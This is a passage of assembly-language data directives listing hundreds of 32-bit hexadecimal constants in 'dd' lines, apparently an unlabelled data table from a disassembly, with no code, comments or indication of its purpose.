		dd 0F4B8EE04h, 0D761AB16h, 0E642BDCCh, 0C4C41491h, 75DCCBEBh
		dd 0F3C6A93Ch, 0E640A0AEh, 835ECBBBh, 6B8E2B6Ah, 0A3A7F9Eh
		dd 2AF0B38Fh, 25E9E5DDh, 9EEC4F4Bh, 4DD874C3h, 29FE3947h
		dd 52D29306h, 5270C11Eh, 0B8FFE43Bh, 0CD6829AFh, 56F53E3h
		dd 0EEE9AF18h, 0EEB280CBh, 4890FB10h, 25030EEBh, 0ABCCF466h
		dd 288A50F2h, 0FFC88EA2h, 311AF393h, 0C58261EAh, 4EE82022h
		dd 942D4AE8h, 0EB1834B7h
		dd 2060A167h, 61DEA4CBh, 0ED1D78FFh, 19774145h,	19AD1A4Ch
		dd 8E4D67A5h, 0ED930DB1h, 0FCE4198Bh, 0B9EFE907h, 4EF87DEh
		dd 0B0F71BF0h, 7E21B945h, 8B00A4C0h, 0CB36178Ch, 41BFCC60h
		dd 0DC7B267Ch, 9EE4EDA1h, 0F5CD53E9h, 0B7FD8DC0h, 293893CCh
		dd 7746244h, 3121300Eh,	0CF0D0872h, 0D7102B13h,	7AE7AA3Ah
		dd 2202525Fh, 0AF544AF7h, 9CE51F71h, 0A80B3B01h, 0B79A2330h
		dd 5B2C318Fh, 5DE40619h, 3CABCA49h, 33A5AF2Eh, 8BF70F64h
		dd 8EC7AEC8h, 0BBC23002h, 0F5BD8420h, 207C22CDh, 19969C7Dh
		dd 830608B3h, 202D1476h, 34D6E054h, 6098C940h, 7FE57EAFh
		dd 839E4B63h, 734C352Ch, 2483237h, 5816CF1Dh, 30094650h
		dd 0C025D7BBh, 5E986924h, 0FC64EB9Fh, 6A14D6E3h, 325585E8h
		dd 13AF8534h, 8C37BC1Eh, 8BEA3E20h, 11908052h, 0BA2291CBh
		dd 0E2561EDDh, 0D9C70023h, 47EFB8F8h, 0D4FDDD6Dh, 0FBB482A8h
		dd 75B4F9D1h, 8D2ABFD9h, 6D17B406h, 0FF6C37C5h,	0F7F44B40h
		dd 289DD0F5h, 3467315Dh, 9FB002C3h, 0E874B1D4h,	61F5545Bh
		dd 3EEA328Ah, 0D1C5B2BBh, 0E84EE92Ah, 11E920B4h, 4F01E120h
		dd 93060F10h, 0ECC927Ch, 9CC39343h, 9621AC6h, 29060B3Eh
		dd 1CC552C8h, 0CE9719E0h, 8CAF359Ch, 25CC5EDDh,	0A0D65804h
		dd 0B1F485E5h, 2E6CABB0h, 955F236Bh, 0D4C4C709h, 556F6BFDh
		dd 0D3976ECEh, 3DE04C6Fh, 5C294B40h, 0C2011D99h, 22CC7415h
		dd 646C1DA1h, 18B15409h, 7AB150A0h, 0AEEEB768h,	42CE6AA8h
		dd 1045DC5Bh, 118D1B3Fh, 69CFACB8h, 2D0A0E53h, 0B1FB065Fh
		dd 0CD04352Ah, 28E31C0Ch, 83FF55DDh, 0A9A6217Ah, 0B2C994D1h
		dd 4A8C9EADh, 20BF3039h, 0A46DDC24h, 6B76C5C0h,	0C8C7EE37h
		dd 3E89E9BEh, 9E8108D4h, 0B3E59367h, 0AC7F6681h, 0E48FDDEh
		dd 0BDB0F219h, 8B61EE14h, 0CEE35431h, 72F65E69h, 0C15E3E27h
		dd 0CA0C1421h, 86E24398h, 4DD4A6EAh, 0F9DF24F9h, 47E47A66h
		dd 7EDCEA74h, 70218059h, 8AA6C00h, 0B38A6BDAh, 0F1479CB9h
		dd 354AE1C1h, 2483A509h, 3A892A52h, 8D60DD50h, 0B866A487h
		dd 765D6B9Bh, 973A1809h, 8C35113Fh, 0C458A8Fh, 5BE0CB48h
		dd 46E1232Ch, 8FF9044Dh, 6C9A2B65h, 81C9012Ah, 3E9DA08h
		dd 0FC88050h, 0FDE1A0F0h, 9E2B8EAAh, 908ED334h,	6F74630Ah
		dd 1256C34Ah, 47D7EA15h, 48A4D209h, 0E0DECA29h,	317A461Eh
		dd 3BFFAB1Ah, 919E2ACDh, 63A09D0h, 7774F545h, 0B3A55915h
		dd 41220C12h, 94AA6CE3h, 0D337DD43h, 66B10DB6h,	0A60B0982h
		dd 73892772h, 52C9DDCDh, 0E0B0CD2Fh, 87381F9Bh,	0A9E86C78h
		dd 68CCE1E0h, 10F36938h, 7BAD27FAh, 5956152Dh, 59939DCDh
		dd 0FAFD2619h, 76E44316h, 938370A5h, 643304B1h,	686C134Ah
		dd 474D252Ah, 586F46DBh, 89BF4605h, 108C0B5Eh, 0CB08CB24h
		dd 678EF0C2h, 0AA79F259h, 55A38DF8h, 0FE6A280Eh, 0AF22BA5Bh
		dd 0B817DFEFh, 0F6BDB568h, 3D22ADB1h, 0F754F364h, 35905190h
		dd 39BDCDCAh, 0F15CE9Dh, 319F7821h, 11B447E1h, 3DA6F473h
		dd 0F49CACECh, 0D95AF313h, 5A737C4Fh, 0E202BCD2h, 0C6D3B2D1h
		dd 0BEC67E77h, 640221A5h, 0E78FA9B6h, 0EB126846h, 9B643E8Ah
		dd 0E365949Dh, 9C50F761h, 0BF1BC1Ch, 0A56D3FFCh, 0DABFBED7h
		dd 1510BA67h, 0F8753D51h, 0ED274835h, 0D137E360h, 0DA6D2B78h
		dd 3371AB0Eh, 9398B302h, 21ECF41Fh, 0D5FE0D10h,	0F84682A2h
		dd 0F688EAFFh, 106265AEh, 0C03633E5h, 51DAC48Eh, 0D1F3F5C2h
		dd 40211340h, 0F0B40E92h, 0EBC1BDA3h, 3373D446h, 9DDEE4A6h
		dd 0CED622ACh, 9CA21AD1h, 2BF2B0DBh, 302D9FB9h,	0E3E421AEh
		dd 0E703D7D3h, 0E159F0D3h, 0FE462E11h, 483E9C3Ah, 380BE8EAh
		dd 0B5A3B4F6h, 284F4B5Ah, 0C3A66254h, 994F9831h, 3AD80B1Eh
		dd 0B71927DEh, 96AFBBA2h, 0A850DD73h, 7B43C700h, 0E61F2E9Ch
		dd 0BE8C3F55h, 2BF2A733h, 42E5A475h, 0B504EB81h, 5161EE9Ah
		dd 0AF4FE3E4h, 5CC851Ch, 68E7B567h, 4301A0C0h, 98C7A86Fh
		dd 750FB7D1h, 0DE7EC7D6h, 746B8F8Eh, 0CA80BFF5h, 42F2195Bh
		dd 0AD82B208h, 31715272h, 16FF3F59h, 38F420E9h,	379BE536h
		dd 6A85030Eh, 0A0E57706h, 239FBE1Eh, 506C75C7h,	7D6542Ch
		dd 0BEFB7AC0h, 47E03652h, 97C14FC8h, 751FBC37h,	11FC569Ah
		dd 0B08550C5h, 0FE1EB24Fh, 0A554037Ch, 0C7775082h, 33DFE126h
		dd 0A1476669h, 383BB279h, 9C35847Ch, 0CCE49288h, 5DBA51B0h
		dd 48314B17h, 0EA502B5Bh, 2654224Fh, 69A0B8C2h,	0DB9FC8AAh
		dd 8B7C13BFh, 0EB82DCBFh, 36BC5911h, 89021F75h,	9A224A3Eh
		dd 68C192B6h, 46AF676Bh, 53246264h, 91CF7A91h, 3B04D6C8h
		dd 6467897Bh, 9EA7393Bh, 0DE69BCCFh, 0DD0ECE05h, 4AFA1A8Ah
		dd 49BCA78Eh, 7857866h,	40CFD3D8h, 1E685889h, 0F98FFEB9h
		dd 0AE83BF62h, 0DB97EBB6h, 0A8E43118h, 8B1F18CDh, 0E2979E45h
		dd 87F7C746h, 0D9DA3040h, 324B5AF1h, 323DC5CAh,	0A352B18Ah
		dd 3490691Eh, 47516A97h, 984CCBE5h, 5ACB1ADBh, 0ED888B9Dh
		dd 0CFCE4B8Fh, 156A5640h, 55745907h, 0D1C7CF9Fh, 8E50113Bh
		dd 0C80E4642h, 0BA784078h, 7D500C99h, 0ABFE6664h, 0FC9FE0C0h
		dd 9CEA8E70h, 0F6124972h, 0D3D675B1h, 0BB185DB2h, 9A94F192h
		dd 2CC70950h, 3C8326D1h, 9E40D37Eh, 657B0F03h, 1D662DA0h
		dd 0A7751AE9h, 0AD308CE6h, 0CBA8F9D7h, 0A896673Fh, 187350B3h
		dd 0EE71E527h, 6E455B84h, 0BACB7D8Ah, 2B2335EBh, 22F8AA91h
		dd 0E82096Dh, 0AF3B575Fh, 62637B33h, 0D22CC057h, 4DF0B682h
		dd 9890EA59h, 8BCDF692h, 0ACFFCFA9h, 880C301Eh,	77582EB2h
		dd 226B866h, 5EE84327h,	8DDA095Eh, 9FB583BDh, 0C910C95Dh
		dd 0B3762072h, 2ABB228Bh, 3B1C549h, 90E2E2Ah, 10D32141h
		dd 67DCBBB3h, 58417ACBh, 1ECEC84h, 0ACECD747h, 0D34ED32Fh
		dd 1C7BB24h, 0ABE106BFh, 0DF431F74h, 60FC39DAh,	6EDA07FBh
		dd 977AF691h, 33CFACA2h, 0AEA69CFDh, 4733D63Bh,	639803E5h
		dd 0D8DB5CFBh, 0A69CA99Eh, 0AD0C9679h, 0FF240B33h, 3E516DF6h
		dd 7074EA64h, 689DE3BDh, 0FB0C6E04h, 3140C2Fh, 80C6E046h
		dd 0C06761E5h, 36F041C2h, 0E372F22Dh, 6360C02Eh, 80F6A1h
		dd 0E6EFA0E0h, 0D1BDAEC3h, 0C6189865h, 47C5EB2Dh, 2E66BC62h
		dd 0CA6A5C76h, 474D25D5h, 3CD02966h, 4F763787h,	870E170h
		dd 0D0F30307h, 3F1DEED0h, 80D571B7h, 382675E2h,	7F4D940Ch
		dd 5FF92F5Eh, 94140BF0h, 51977A6Eh, 2703848Ch, 0A4A4720Ah
		dd 0E7FAD59Dh, 0DFABB571h, 305A6546h, 456C4D66h, 2A9741CEh
		dd 354B113Dh, 0D74B2F55h, 0EF4EBD0Dh, 94EB8930h, 0B43E93Eh
		dd 9747289Ch, 9DA1EB5h,	4D42BD0Ah, 0F732984Fh, 1CA8F804h
		dd 71C163BDh, 99DFDA98h, 44057C06h, 0A551B49Ah,	0DC2A08C8h
		dd 7A83BCE7h, 48C4F0B6h, 78719AAAh, 33F80DC0h, 8B9430EBh
		dd 6C2ED5F6h, 1785C8CFh, 0F688C3E4h, 0AA3DDD26h, 86C7C5Eh
		dd 2DCC4A23h, 69E4DBF5h, 980EAAD6h, 0EC9CA81Dh,	0BD8D6008h
		dd 4E228437h, 2B18E15Bh, 0A50841BBh, 0A2CF0A56h, 10E85462h
		dd 24CC5F2Dh, 0DBD04B69h, 0E20598CFh, 0AD17374Ah, 2E7F63B7h
		dd 1D9EE556h, 22177AFEh, 5014A66Eh, 2B8049EFh, 92FA43C2h
		dd 57994C0Fh, 498ADF4Eh, 750C91F9h, 0A9E28CCh, 35800BD5h
		dd 2A9AFC00h, 0BAA63179h, 3289A6CDh, 0BC2BA648h, 34636093h
		dd 0D9F9FF8Ch, 0ED9ECE77h, 5D6E9713h, 0B474412Fh, 3DC2DD5Fh
		dd 809BD2ADh, 0C65E0FE0h
		dd 0EC3D38A5h, 269A94F6h, 0CB8A3AE2h, 7263AC3Ah, 0DC938B7Fh
		dd 2AA623E9h, 58DF711Fh, 8CDF6D4Ch, 299CD135h, 98315A88h
		dd 4A5FB640h, 76401F38h, 0E33D8291h, 83B693D2h,	1F7777FEh
		dd 0F6940600h, 0CCB6BDBDh, 0E06BABEEh, 0A872DD04h, 0A378A66Eh
		dd 4E3D6C51h, 0EC80B1F0h, 295CEE9Ch, 390C3F0Ah,	0BAB59AABh
		dd 0C506A657h, 0E6857B28h, 927D6F78h, 0F6FA8245h, 7E218B37h
		dd 6ECF0B3Ah, 0A6506FB6h, 0DD32D692h, 0EA28FE93h, 0AB84AD44h
		dd 6C8D931Fh, 3F680B44h, 1C7EF436h, 0B64B04EDh,	14914844h
		dd 0EFDD1B84h, 5A4C8D73h, 25EB6EF8h, 0AFAE5891h, 577C012h
		dd 4134A868h, 4C2680E0h, 85551C02h, 454FAD7Bh, 80C424EEh
		dd 0D9E82580h, 0EA03FB9Ch, 7C2621FDh, 0A484F2E7h, 0B09CB1A1h
		dd 97F40FF4h, 0E58F470Eh, 71206C82h, 7F58D670h,	859F91A8h
		dd 0F833EFEEh, 74D705D2h, 0BAEF99D3h, 0BBA771D8h, 545AA4D6h
		dd 2A8FD94Fh, 78B4FC36h, 81CFA23Eh, 0BF9A24A1h,	6051326Dh
		dd 0CCF89314h, 0F93DD9C5h, 0BE1418D0h, 0CC44F5Eh, 46FE4B5Eh
		dd 3241A4D5h, 0F32C4F48h, 69ECAFh, 2D4DC0D1h, 0CF5B892Dh
		dd 0DEED38EEh, 0E109BA6Fh, 0E94B5A74h, 4347FE62h, 0AC52A9F7h
		dd 81EC1B1Dh, 6CF326A0h, 2EC737C5h, 2877BC04h, 66779848h
		dd 0F9CC1CBAh, 0D49F6B8Fh, 913885DAh, 0F3223FADh, 3E5F05ACh
		dd 40CD7C3Dh, 5DABB818h, 874DBB8Ah, 70413207h, 375F110Dh
		dd 5A7A7C2Eh, 0D9301807h, 195B62DDh, 6A750ECAh,	7187EE59h
		dd 2BB4B5FFh, 0CCE19B27h, 0AF6537EEh, 752EB6A0h, 173A4075h
		dd 14002BE0h, 62F1DBDCh, 13A68D3Ah, 0BC26DA0h, 1E7A969Ah
		dd 3A2882EDh, 0ACA2203Dh, 57709AE9h, 553E6EEEh,	4FB87076h
		dd 5E3DEBF2h, 5DC11F73h, 15F13F13h, 318C8D6Dh, 1585C4A3h
		dd 0A5E93AE8h, 4267FB26h, 66994E0Ah, 3E29578Fh,	5A324D92h
		dd 0F9E68904h, 76A21AD0h, 0E43935D7h, 0E28F5B70h, 0D904CCEFh
		dd 0AE05E325h, 9A1C1964h, 8B47A39Ch, 86D3D84Eh,	0FB059936h
		dd 0C86890A0h, 75E415BCh, 0F900336Fh, 0ABB507F0h, 869D5068h
		dd 80B3D490h, 83DFD925h, 0E036AAF5h, 8FA46FC2h,	93364C9Eh
		dd 6B7786CCh, 0F789D8DCh, 7ED5563Dh, 389DCD1Fh,	563171A9h
		dd 0CDFF937Ah, 0C57FD75Dh, 5F6AA8B1h, 18309F92h, 6833C6BAh
		dd 4BB044D2h, 0D0E6AE61h, 7FCA6D37h, 0EB3A40ECh, 0B9FCE390h
		dd 30F599Bh, 924D4FA2h,	1749F607h, 0FB975D5Ah, 67CBD794h
		dd 0E5ADFD60h, 511FC42Fh, 6A737613h, 7AB8A070h,	0C20FFDEFh
		dd 0EEB2AEC3h, 0A6617156h, 0C2672E50h, 8376A3EEh, 0C4589072h
		dd 0BB28F062h, 0B9A73C0Eh, 632EB835h, 0BA5379F2h, 5B536185h
		dd 647D1CC3h, 0A23D7886h, 0D5E2D2DCh, 815F13EDh, 5B961946h
		dd 341683B8h, 0F1B403Dh, 44819099h, 0BF58F831h,	4AE6945Eh
		dd 0CC51E2C0h, 0F1DB09B7h, 8108501Dh, 3961A082h, 0F59209B5h
		dd 5EB006A1h, 8A18E46Ch, 22AEBCE0h, 0C2BCDCD4h,	6490B990h
		dd 3EADFA7Bh, 218A41BBh, 81FBFDEBh, 5302E907h, 0F6092F10h
		dd 0F7417AFCh, 48A1357Dh, 71100CC8h, 4FEC0F1Dh,	0C90E87Dh
		dd 6C5F3867h, 7DCE9B05h, 70C27CADh, 84BFA7DCh, 4514D79Ah
		dd 101C3ACDh, 7AEE8CA2h, 343C1DA6h, 4DFE17C0h, 47DAAEE7h
		dd 0CEEA1FC3h, 5DC9CD21h, 16760CE4h, 86862530h,	6B0A4F69h
		dd 0A8851FD6h, 0E6080860h, 0B13697CFh, 72E53421h, 2A5F3985h
		dd 82D4AB50h, 0E2C679AAh, 7E0FD513h, 7D6AFF4Ah,	0BBAA648Ch
		dd 0E8216AC8h, 14B5CBE4h, 0F2C7D023h, 17581D6Eh, 0C2517454h
		dd 9DC7DA79h, 4D53CE1Ch, 330CB205h, 0EF0BB1Bh, 8D724572h
		dd 0A45565F1h, 0B5AB655Fh, 0B12AEF27h, 32F778F1h, 0E3867BD0h
		dd 23CF31C8h, 0BFDDE2DFh, 1254C805h, 0F4C0A665h, 90A52CAAh
		dd 4B176C4Eh, 883FC49Eh, 0CDB119F5h, 0A44B01D2h, 4569B9Eh
		dd 2E2E3CA5h, 5816C11Dh, 89EEA7CAh, 0F17FE02Bh,	0ED65D062h
		dd 0ADD3AA0h, 0BC624A6Fh, 0DAC88CDEh, 0C9396198h, 5BA6E5EFh
		dd 0F7B8D3DDh, 0F1CB509Ah, 9E75C8AFh, 8246AAEh,	3388F8F6h
		dd 20505D94h, 2BB1056Eh, 0E8639265h, 0F0169BE4h, 165D0614h
		dd 896A2BB7h, 5BC67A58h, 0A67F6C61h, 0C3409582h, 0E3335C6Bh
		dd 0D7D51E98h, 65D10A5Bh, 0E81945C1h, 529B92ACh, 8A652601h
		dd 8961DE1Dh, 794F3D55h, 0CF9DEB5Ch, 9F028633h,	4AB18C70h
		dd 0CB4E5A0Ah, 0D9706D30h, 0D35E2032h, 0D1B22B77h, 172F16BDh
		dd 478758FBh, 0B5CA5E9h, 334B241Fh, 0DCBC65D7h,	20ED94B2h
		dd 23A14033h, 0ABD7A5FFh, 0F6CA6812h, 0A9EA1A4Ah, 0C21BD4B9h
		dd 7A621CEh, 6CD70893h,	2EA57F0Ch, 91338CF7h, 0A4C5F5BFh
		dd 8582D0E2h, 80A2F5D7h, 0EAF10C2Ah, 0A386B876h, 5389787Ah
		dd 33A38852h, 0DA1B0B79h, 0C85BEA9Ah, 81E39752h, 0D76390CEh
		dd 41053A2Fh, 0FE999B6Fh, 0E66FF13Ch, 16C7D2F5h, 2F66FB38h
		dd 1CC9038Dh, 0EC2BFE1Bh, 94C5BEAEh, 0BB756726h, 86A8AB45h
		dd 792680FBh, 12865EB4h, 0F4F808EAh, 0E51644B0h, 1F325048h
		dd 0B790A5D9h, 684B0510h, 74DC4ED4h, 8B971975h,	9E0951D1h
		dd 7CDE930h, 9C2E40E5h,	0F55B029Bh, 8D7D44Fh, 1727AA53h
		dd 173EF436h, 4D9B1A0Ah, 430AACFBh, 40706DBFh, 7F24B851h
		dd 4C1C7578h, 0BB68637Bh, 0C46ABCCCh, 0F1D04CFDh, 7F67E756h
		dd 82602518h, 0E490509Ah, 11BD5E2Fh, 0EF7594B4h, 92ED1A01h
		dd 43B799AEh, 4E9BC4D5h, 5B64497h, 3A6F47D8h, 0F2A7C22Ah
		dd 0F45770F8h, 0C988ABE3h, 179139F8h, 0DFAD38E6h, 0D5C0C6C1h
		dd 37D872ECh, 9FA70C92h, 2A26631Ah, 9E854DCAh, 9D2F71BEh
		dd 634A2ABBh, 0F4F68810h, 288E3426h, 6A79538Bh,	584F5C5Eh
		dd 0DF74C37Bh, 12DBBF4Fh, 8536DED7h, 0B521846Fh, 0C206BF90h
		dd 52E7BE47h, 8A7EBBA5h, 0CC2E8F4Ch, 0BBE08D56h, 91998417h
		dd 0AFF95C0Eh, 0BAF7C0F6h, 0F69A6D18h, 0ADE43A96h, 9D01903Ch
		dd 8AC10C96h, 4284BD4Eh, 56D61E2Fh, 6EFC851Ch, 0F20BE958h
		dd 0A8175984h, 794F1A6Ch, 8B83F8D3h, 124C0DB1h,	0A818B55Bh
		dd 0F50EBD63h, 1E1BE23Eh, 0F2014Bh, 0D5979BC2h,	1F08000Dh
		dd 9CC3D707h, 5A0AB86Bh, 7959E893h, 48DA3832h, 97C78874h
		dd 7D4124AAh, 0A46558A2h, 7C80F71Ch, 91B2B922h,	391B6334h
		dd 0D7ECC477h, 0E6A64421h, 0BE8C54F4h, 27B76C39h, 0F2DA7DD4h
		dd 1927BC05h, 5376E550h, 0CD91ECD0h, 0B4D74D90h, 56A1044Dh
		dd 288786E7h, 0BEDE27D3h, 1A0DEE3Bh, 472B1EA2h,	654D6FA9h
		dd 93B02398h, 86DEE629h, 0CAC531C1h, 221B30B7h,	2699478Eh
		dd 2C7B7529h, 992A4CDFh, 444E8D24h, 0B54D4604h,	33EDE52Bh
		dd 9C8C1F90h, 44A2EBE5h, 0F689D1Ch, 4F4E3711h, 575D7E7Eh
		dd 4AEBC550h, 38E35FEEh, 0F1CDF51Bh, 379DAB9Ch,	6BDA0F18h
		dd 0D2CA34DFh, 0D7D4EED2h, 84A39DC3h, 0E5311E70h, 0F41E7C32h
		dd 59FE3173h, 0C4B97247h, 7463EF79h, 0DDE9BC04h, 0A18E7970h
		dd 10266B36h, 436DF0h, 11FD8D07h, 9B688120h, 0AA370B61h
		dd 0B5C44C31h, 0C75E6FDFh, 0C8F73CC9h, 0FB75F593h, 0FE22669Dh
		dd 0CC4058A9h, 0D0090D4h, 9B7C71C8h, 0C5FA076Bh, 9E32E536h
		dd 7EED8364h, 0EE2633B9h, 0F8AF1C26h, 9F202BE1h, 879AE4B9h
		dd 22A7B761h, 6D1DAF3Fh, 0B004EE7h, 14B142CCh, 278A6E0Ah
		dd 0A0D0B337h, 508902EDh, 0FBC455BFh, 27E6A4CBh, 7E77299Dh
		dd 8EB0B8E9h, 8751B4CAh, 650E5CBh, 21D4334Ah, 0F561CFD0h
		dd 25EF3BBDh, 824BEB18h
		dd 6D18F2CCh, 0F79BCD7h, 0A14CCE94h, 0B609D3A8h, 95FC685Ah
		dd 15CE1BACh, 0AAEDFA37h, 9A9EF316h, 0A07FDF96h, 0C016EB9Bh
		dd 8C16DBB6h, 0A0BC5552h, 0B9E853EEh, 4732A1E1h, 0AABDC0F1h
		dd 9B02A0C8h, 8E61E6D7h, 0B4F0B415h, 0E392E25Fh, 51E5F49Eh
		dd 4E26DC2Fh, 0F2AE0F47h, 62F77B29h, 46434B70h,	4F243F5Ch
		dd 1E537183h, 0B053715h, 3312749Fh, 62F62A18h, 174EB202h
		dd 0A41D122Eh, 35242FA6h, 0A0C67DDAh, 0D06CE9FDh, 4584B448h
		dd 0D4B649EEh, 0C3A43CDAh, 4DB8010Eh, 0D3432ABCh, 0C3992BA8h
		dd 0CFDA805Ah, 0BBD2334h, 11D48E3Fh, 6E1B61A5h,	0F8933A1h
		dd 208668h, 328DD810h, 7255D564h, 1EDAB214h, 0D2972389h
		dd 0FBA53070h, 8F3F6801h, 8A30E5F3h, 195F4FF7h,	9B5EBCEh
		dd 0AAD52A1h, 0EB4AC479h, 58306CADh, 0D8ABC622h, 5B1945BCh
		dd 0B022B573h, 6AE22AD9h, 58263DC2h, 5186A3E5h,	0E9307041h
		dd 9E02D854h, 0FEBC4952h, 0F2FABBEBh, 65D16A47h, 9A257800h
		dd 91A74608h, 0B8BE3565h, 432580EDh, 0A8506013h, 799F85DBh
		dd 3064CEBh, 26C24B0Bh,	9008564h, 0F7F52592h, 0E712DA6Fh
		dd 48DF3150h, 104B9A57h, 0AB6921EBh, 3B594604h,	7D8D55E9h
		dd 0B916F7FBh, 8F391E54h, 0B4C0CF82h, 0C094F803h, 1C78BBCBh
		dd 0D37C9AD4h, 0A7B82Eh, 14F14D38h, 91B17745h, 90AACC25h
		dd 0AB261624h, 0F2708A60h, 30E0F466h, 98722CD6h, 519704C7h
		dd 4B626A1Fh, 135534E1h, 3BEB80B0h, 56C02BB4h, 6C05FF43h
		dd 16E03F44h, 6BF0835Ch, 69339F3Ah, 1878EF5Bh, 1B9D38C4h
		dd 426565C9h, 127F1391h, 0ADAB95B9h, 0C5D2B485h, 0FF4F238Ch
		dd 65FEBF14h, 765EB1Ah,	8891E733h, 11C5590Dh, 0FDB5AA34h
		dd 0A1D3B9EFh, 0B7ECC98Dh, 91CFE283h, 49C82A38h, 66560B45h
		dd 0E70E6E73h, 99EDAF1Bh, 988CDC6Bh, 0F274D4DFh, 638EF37Dh
		dd 5979AF63h, 777219F6h, 83641857h, 0B7714981h,	0D7C3A3CEh
		dd 0FEEC939Fh, 0FA382906h, 0C1D24148h, 0FDC0B7Ch, 208E70C4h
		dd 69FA2F9h, 15849B0Eh,	2D0D0D19h, 79A50619h, 7C713202h
		dd 6F731F16h, 0F9829BD0h, 2181648Dh, 0E7A2F954h, 71ABAB07h
		dd 9AFAA1BEh, 0A672D08Dh, 38338F2Eh, 423B16ADh,	0EDFA452Bh
		dd 13838DD6h, 7B18D798h, 0C6CDF3D3h, 0E991EDE3h, 2D9DCF9Eh
		dd 36BBCD4Bh, 61798189h, 365C3DDh, 38E076E8h, 8F672BCCh
		dd 29488D1Eh, 43113D6Ah, 68D7B233h, 8EA4B579h, 0A37F5EC0h
		dd 6831E823h, 5907786h,	9AB4C85h, 8A5CCDB1h, 92706BCCh
		dd 0D480EC03h, 0D81C968h, 0AADFC240h, 2BDD6A6h,	0E447FCCAh
		dd 30FA5B53h, 0ABF53DD1h, 0B729B59Ah, 0AA0B99F1h, 0B1F53B4Ah
		dd 6D0BD8CEh, 197247A3h, 1A7F2411h, 4B037DCDh, 0B6D4E15h
		dd 0F8EC354Fh, 0FC924895h, 5E4DECCh, 0E2E0A29Fh, 3C53C15Ah
		dd 21716B3h, 82932379h,	0BFC87CEBh, 624D3ABAh, 0E06C6C07h
		dd 0BB0D4E23h, 0EABD007Eh, 33DEF658h, 0AA0E34E1h, 9FA6EC7Fh
		dd 2590E010h, 2243DE77h, 0F4AF2140h, 0D627C304h, 309A3237h
		dd 0CFE8120Eh, 0AE5C70EDh, 0A20C3E83h, 4F301178h, 34FBFE60h
		dd 6D895273h, 0AA8F7144h, 0F092C7DDh, 2EB28151h, 6FB6921Fh
		dd 49FBD42h, 0EB98972Bh, 894A251Fh, 4905FC6h, 0B52C5328h
		dd 8FD75872h, 9376C38Fh, 0B750F5ACh, 0FAABD88h,	0D1BB0F6h
		dd 5802C04Fh, 0C964EC4Ah, 559CC7AFh, 2FE7BE3Ch,	0C3CACC83h
		dd 0EE95CD4Bh, 0F257A11Ah, 7DA1B808h, 0BDB946E8h, 6A2CBF64h
		dd 5DD91FAEh, 1C2CDFA6h, 0A8456C3Dh, 990514F1h,	63A74D3h
		dd 0C6C5AFD1h, 87D7B2E1h, 797D8623h, 47483F1Bh,	0C9948403h
		dd 4AAED6FEh, 0EE9DFE35h, 4F1D498Dh, 231C5012h,	1B5955F7h
		dd 0EA449BD9h, 0D7AF6132h, 0C7F43F16h, 434C00AAh, 0D94E445Ch
		dd 2CD466B0h, 24D5FF34h, 47374E26h, 9910AFB4h, 4AAF1EA4h
		dd 16046280h, 6BFED4Bh,	5BDAB81Eh, 1FDA1EE6h, 7CD2ADC7h
		dd 0DA74E201h, 0C865DC32h, 6E6386DDh, 4863C582h, 486062F9h
		dd 0EAD1CFFBh, 0C40FA59Ch, 91633AB3h, 9E72E94h,	0CB86423Ch
		dd 39869642h, 77B8A0CCh, 0E49C24B2h, 43DD17E3h,	0A1F2730Ah
		dd 0F93720E2h, 0C53F431Eh, 0C6ABC57Fh, 0F971954Bh, 0F94FBBBEh
		dd 29251099h, 2B4019A1h, 237FC9D0h, 0E4A9858Eh,	6955E27Eh
		dd 0B86E0A27h, 5F08A19Ch, 5336C6DDh, 0D504F1B2h, 0F271BAD6h
		dd 0AA506924h, 6D18DFAh, 409E84h, 0BD21E63Fh, 43BD6455h
		dd 5E8E95D8h, 582B56DFh, 253D2265h, 8432D4EBh, 0F82B660h
		dd 0FB08C955h, 41F9E68Ah, 1AAFC126h, 4979831h, 9170BD96h
		dd 55CAD804h, 0C3DB89E5h, 0DF361D50h, 54B12AD3h, 827EC5E5h
		dd 563DA044h, 0B558354Bh, 0D65B98E6h, 32736235h, 7E9134F1h
		dd 0D873485Ah, 0F52D080Dh, 6570868Eh, 0A43E3CCBh, 1647F1B3h
		dd 4DF5FEC5h, 40A42332h, 0B27BE6C6h, 3835D81Bh,	0B6414FF9h
		dd 5480D732h, 0B76EA38Dh, 12795E85h, 84C3097Fh,	3BCF0BB4h
		dd 12393027h, 81470B10h, 2A3803Ch, 84DEE34Bh, 785A96A9h
		dd 7CE354E8h, 0CFCDDCABh, 0D5129E93h, 1DEFE7A3h, 0E34083D0h
		dd 0A80EA686h, 44C1BEDDh, 4BE6CF2Fh, 3C1F2DCAh,	8F4DF807h
		dd 83F9ACEAh, 0A58D9C3Fh, 3B8273F8h, 0BBA0247Bh, 6204938Bh
		dd 0DB21BB0Ah, 35580B80h, 3F19F876h, 0BCC53C57h, 4FCA72A6h
		dd 0CB5D95E3h, 0CD9813F0h, 0DF100C2Dh, 7DFF44B8h, 85671354h
		dd 0D6F58E8Eh, 2FACD40Dh, 0FD9A2242h, 8FC715A6h, 4724D8Ch
		dd 3CAF5122h, 19E184AEh, 0DB86068h, 18A6BD9Bh, 17896733h
		dd 506E2328h, 93D50B46h, 2ABAC497h, 24A43ACCh, 553EFB2Dh
		dd 0A741987Fh, 79E73639h, 3C5D7792h, 0F090E138h, 1A780836h
		dd 0B237DA00h, 0B8CC394Ah, 1203DDC7h, 0DEF43950h, 0CD58C53Eh
		dd 0F5A567A4h, 5F66C865h, 0C7373A4Ch, 19607866h, 2D0E3F19h
		dd 0E748CD9Ah, 0F692DDB1h, 755D0A01h, 0C9EBB200h, 1C1816D2h
		dd 33E6850h, 2064541Bh,	0EA933E79h, 73A3EF12h, 1416E028h
		dd 0DABD27CBh, 0B1C00060h, 24DFEA66h, 0E79FE910h, 9D34ADCh
		dd 0C8AD1EEEh, 3CA5C0B7h, 3121D9CAh, 4DE4EE71h,	2383397Fh
		dd 9DEB2BE0h, 0A949B0DDh, 0A0769632h, 99C436D3h, 9426F70h
		dd 26D9F112h, 4237207h,	0EC336718h, 1BF2FA49h, 702B61CCh
		dd 0EBB7FE19h, 0E6789696h, 65FBFB7Ah, 6F62E1DDh, 0E10B7076h
		dd 0A3CC7BF0h, 0B11FB9E3h, 0B3456BF9h, 827A14FDh, 0A8DDB2A1h
		dd 0D8E38FB8h, 1CA36597h, 628BFA35h, 8283F0D3h,	0E494819Bh
		dd 8EEEAF72h, 30A75299h, 0BF305C20h, 0BAC0783h,	83C62A8Dh
		dd 0FF46B14Dh, 9CDC2567h, 0E32FFB5Ah, 0A6300CFDh, 43D71569h
		dd 31137601h, 358CBA27h, 0CD5E1950h, 6EC565B4h,	776CCD2Eh
